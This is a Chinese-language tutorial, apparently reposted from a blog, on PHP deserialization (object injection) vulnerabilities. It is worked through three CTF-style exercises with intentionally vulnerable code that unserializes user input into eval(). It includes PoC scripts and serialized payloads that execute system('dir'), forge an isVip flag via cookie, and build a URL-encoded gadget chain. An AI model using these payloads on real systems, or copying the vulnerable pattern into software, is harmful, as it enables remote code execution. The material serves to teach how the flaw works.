0


PHP反序列化漏洞之产生原因(题目练习)

1、反序列化漏洞的产生

PHP反序列化漏洞又叫做PHP对象注入漏洞,是因为程序对输入的序列化后的字符串处理不当导致的。反序列化漏洞的成因在于代码中的unserialize()接收参数可控,导致代码执行,SQL注入,目录遍历,getshell等后果。

一句话讲晒就是:** 反序列化漏洞是由于unserialize函数接收到了恶意的序列化数据篡改成员属性后导致的。**

<?php

class xiaohua
{
    public $str = 'xiaohua';##成员变量,赋值

    function func()        //定义了成员方法
    {
        echo $this->str;        //调用str成员变量,并输出
        echo PHP_EOL;            //换行符
    }
}
    
$aa = new xiaohua;                //把类实体化为对象
$aa ->func();                    //在对象里,调用了func成员方法
//echo serialize(new xiaohua());    
$a ='O:7:"xiaohua":1:{s:3:"str";s:7:"chunerx";}';   //传参,给a赋值一串序列化后的字符串    
$b = unserialize($a);                                //反序列化变量a
print_r($b);
$b ->func();                                            ##漏洞出现的地方,序列化的字符串为    chunerx,没有调用类里的xiaohua,而是调用了xiaohua   (可控制的地方)

输出:

xiaohua
xiaohua Object
(
    [str] => chunerx
)
chunerx

练习一:

(把下面代码,写入phpstudy的web目录下,启动phpstudy,浏览器访问)

 <?php
error_reporting(0);
highlight_file(__FILE__);

class  xiaohua{
    public $str   =  'echo "benben";';
    function ben () {
        eval($this->str);
    }
}

$a = $_GET['benben'];
$b = unserialize($a);
$b ->ben();
?> 

代码分析:定义了名为xiaohua的类,共有属性成员变量str,内容为'echo "benben";',定义了ben的成员方法,作用是把 xiaohua类中的str成员变量的内容(echo "benben")作为php代码自行。

类外,通过get方法,传参,反序列化$a为对象,在对象里调用了ben的成员方法。

POC思路:

<?php
class  xiaohua{
    public $str   =  'system("dir");';
}

$a = new xiaohua();
echo serialize($a);

输出:

O:7:"xiaohua":1:{s:3:"str";s:14:"system("dir");";}

原理:

原理上面也讲了,就是unserialize()方法,在接收到用户输入的序列化的代码后,调用了xiaohua这个类,但是在调用ben方法时,没有执行原本的代码(echo "benben"),而是执行了用户输入的代码(system("dir");),这就是漏洞的原理。

练习二:

 <?php
error_reporting(0);
highlight_file(__FILE__);
include ('flag.php');       // 包含同目录下的flag.php文件

class ctfshowUser{
    public $username='xxxx';    
    public $password='xxxx';
    public $isVip = false;                //默认isvip为false
    public function checkVip(){
        return $this->isVip;                //成员方法作用:检查isvip,为True返回1,为false返回0
    }

    public function login($u,$p){        //接收两个参数
        if($this->username===$u&&$this->password===$p){   //判断用户输入的用户和密码,是不是和规定的一样(username= xxxx,password=xxxx)
            $this->isVip=true;            //如果一样就把isvip改为true
        }
        return $this->isVip;               //不一样就返回默认的(false)
    }

    public function viponekeygetflag()        //方法作用:判断如果isvip为true,则调用$flag成员变量,输出$flag(flag.php文件中的flag)
    {
        if ($this->isVip) {
            global $flag;
            echo "your flag is " . $flag;
        } else {                            //否则,输出no vip,no flag
            echo "no vip ,no flag";
        }
    }
}

$username=$_GET['username'];        //通过get传参username
$password=$_GET['password'];        //通过get传参username

if(isset($username) && isset($password)){     //isset 判断有没有输入username和password ,有则返回一个执行下面的代码,没有停止。
    $user = new ctfshowUser();        //实体化对象
    if($user->login($username,$password)){        //调用了login方法,如果返回isvip=true执行下面的代码,否则执行else
        if($user->checkVip()){
            $user->viponekeygetflag();        //调用vipopenkey。。。方法        
        }
    }else{
        echo "no vip,no flag";
    }
} 

思路:(就是你输入的要和规定了一样)

练习二进阶:(反序列化)

 <?php
error_reporting(0);
highlight_file(__FILE__);
include ('flag.php');

class ctfshowUser{
    public $username='xxxx';
    public $password='xxxx';
    public $isVip = false;
    public function checkVip(){
        return $this->isVip;
    }

    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }

    public function viponekeygetflag()
    {
        if ($this->isVip) {
            global $flag;
            echo "your flag is " . $flag;
        } else {
            echo "no vip ,no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){     //isset 判断有没有输入username和password ,有则返回一个1,没有返回空。
    $user = unserialize($_COOKIE['user']);        //通过cooike传参
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->viponekeygetflag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

这道题:

减少了用户输入username=xxxx&password=xxxx后,isvip状态不会更改为true(关键的地方)

POC思路:

<?php
error_reporting(0);
highlight_file(__FILE__);
include ('flag.php');

class ctfshowUser{
    public $username='xxxx';
    public $password='xxxx';
    public $isVip = true;
}

echo serialize(new ctfshowUser());

它不修改isvip状态,那我们自己修改(把isvip改为true)

把序列化后的字符串,通过cookie传参。

练习三

__construct (new 对象的时候,触发)和__destruct(new 对象 和unserialize 触发)

如果new 对象时,__construct和__destruct都有,先执行__construct

 <?php
error_reporting(0);
highlight_file(__FILE__);

class index
{
    private $test;
    public function __construct()
    {
        $this->test=new normal();        //作用为 实体化normal类为对象
    }
    public function __destruct()
    {
        $this->test->action();            //作用 调用action方法(两个)
    }
}
class normal {
    public function action(){
        echo "please attack me";          // 这个action 是输出 一段字段串
    }
}
class evil {
    var $test2;
    public function action(){
        eval ($this->test2);            //把$test2中的字符串,作为php代码执行
    }
}
unserialize($_GET['test']);
?> 

思路:

首先时反序列化漏洞,我们要构造序列化poc,所以我们得new,之后才能serialize,serialize会触发__construct。但是题目中触发的时new normal,normal直接输出please attack me。没有

所以我们让serialize 触发__construct后,让它去 new evil。

构造POC:

因为test成员变量为私有属性,所以poc代码需要urlencode,不然执行不了。

<?php
error_reporting(0);
highlight_file(__FILE__);

class index
{
    private $test;
    public function __construct()
    {
        $this->test=new evil();
    }
}

class evil {
    var $test2="system('dir');";
    public function action(){
        eval ($this->test2);
    }
}
$a = new index();
echo urlencode(serialize($a));
?>

poc:

O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A14%3A%22system%28%27dir%27%29%3B%22%3B%7D%7D

输出

标签: php 安全 web安全

本文转载自: https://blog.csdn.net/qq_60463414/article/details/126323040
版权归原作者 凌晨两点半992 所有, 如有侵权,请联系我们删除。

“PHP反序列化漏洞之产生原因(题目练习)”的评论:

还没有评论